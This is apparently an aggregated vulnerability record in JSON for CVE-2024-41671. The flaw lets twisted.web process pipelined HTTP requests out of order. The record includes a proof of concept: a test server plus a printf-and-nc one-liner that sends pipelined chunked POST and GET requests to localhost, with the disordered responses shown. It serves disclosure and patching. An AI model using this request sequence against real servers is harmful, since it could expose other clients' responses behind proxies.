{"id":"CVE-2024-41671","aliases":["CVE-2024-41671","GHSA-c8m8-j448-xjx7","PYSEC-2026-1992"],"related":[],"kind":"vulnerability","state":"published","title":"twisted.web has disordered HTTP pipeline response","summary":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. The HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure. This vulnerability is fixed in 24.7.0rc1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe HTTP 1.0 and 1.1 server provided by twisted.web could process pipelined HTTP requests out-of-order, possibly resulting in information disclosure.\n\n### PoC\n0. Start a fresh Debian container:\n```sh\ndocker run --workdir /repro --rm -it debian:bookworm-slim\n```\n1. Install twisted and its dependencies:\n```sh\napt -y update && apt -y install ncat git python3 python3-pip \\\n    && git clone --recurse-submodules https://github.com/twisted/twisted \\\n    && cd twisted \\\n    && pip3 install --break-system-packages .\n```\n2. Run a twisted.web HTTP server that echos received requests' methods. e.g., the following:\n```python\nfrom twisted.web import server, resource\nfrom twisted.internet import reactor\n\nclass TheResource(resource.Resource):\n    isLeaf = True\n\n    def render_GET(self, request) -> bytes:\n        return b\"GET\"\n\n    def render_POST(self, request) -> bytes:\n        return b\"POST\"\n\nsite = server.Site(TheResource())\nreactor.listenTCP(80, site)\nreactor.run()\n```\n3. Send it a POST request with a chunked message body, pipelined with another POST request, wait a second, then send a GET request on the same connection:\n```sh\n(printf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nPOST / HTTP/1.1\\r\\nContent-Length: 0\\r\\n\\r\\n'; sleep 1; printf 'GET / HTTP/1.1\\r\\n\\r\\n'; sleep 1) | nc localhost 80\n```\n4. Observe that the responses arrive out of order:\n```\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:41 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 4\nContent-Type: text/html\n\nGET\nHTTP/1.1 200 OK\nServer: TwistedWeb/24.3.0.post0\nDate: Tue, 09 Jul 2024 06:19:42 GMT\nContent-Length: 5\nContent-Type: text/html\n\nPOST\n```\n\n### Impact\nSee [GHSA-xc8x-vp79-p3wm](https://github.com/twisted/twisted/security/advisories/GHSA-xc8x-vp79-p3wm). Further, for instances of twisted.web HTTP servers deployed behind reverse proxies that implement connection pooling, it may be possible for remote attackers to receive responses intended for other clients of the twisted.web server.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Twisted es un framework basado en eventos para aplicaciones de Internet, compatible con Python 3.6+. El servidor HTTP 1.0 y 1.1 proporcionado por twisted.web podría procesar solicitudes HTTP canalizadas desordenadas, lo que posiblemente resulte en la divulgación de información. Esta vulnerabilidad se soluciona en 24.7.0rc1.","source":"nvd"}],"published":"2024-07-29T14:37:08.484Z","modified":"2026-07-07T17:56:49.021Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","score":8.3,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","score":8.3,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","score":8.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L","rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","score":8.3,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L"}],"cwes":["CWE-444"],"affected":[{"ranges":[{"version":"<= 24.3.0","status":"affected"}],"vendor":"twisted","product":"twisted","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","lastAffected":"24.3.0","status":"affected"}],"vendor":"twisted","product":"twisted","cpe":"cpe:2.3:a:twisted:twisted:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"24.7.0rc1"}],"ecosystem":"PyPI","package":"twisted","purl":"pkg:pypi/twisted","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"24.7.0rc1"}],"ecosystem":"PyPI","package":"twisted","purl":"pkg:pypi/twisted","source":"pysec"}],"references":[{"url":"https://github.com/twisted/twisted/security/advisories/GHSA-c8m8-j448-xjx7","tags":["web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/twisted/twisted/commit/046a164f89a0f08d3239ecebd750360f8914df33","tags":["web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/twisted/twisted/commit/4a930de12fb67e88fefcb8822104152f42b27abc","tags":["web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vicarius.io/vsociety/posts/disordered-http-pipeline-in-twistedweb-cve-2024-4167","tags":["web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00028.html","tags":["web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41671","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/twisted/twisted","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/twisted","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-c8m8-j448-xjx7","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-07-29T18:59:07.878Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-41671","url":"https://www.cve.org/CVERecord?id=CVE-2024-41671","licence":"CVE Terms of Use","modified":"2025-11-03T22:00:59.620Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-c8m8-j448-xjx7","url":"https://github.com/advisories/GHSA-c8m8-j448-xjx7","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:49.021Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-41671","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-41671","licence":"Public domain","modified":"2026-06-17T07:48:01.213Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1992","url":"https://osv.dev/vulnerability/PYSEC-2026-1992","licence":"CC-BY-4.0","modified":"2026-07-07T17:48:14.974Z"}],"updatedAt":"2026-11-25T22:58:43.321Z","epss":{"score":0.00863,"percentile":0.59666,"date":"2026-12-01T12:00:22.000Z"}}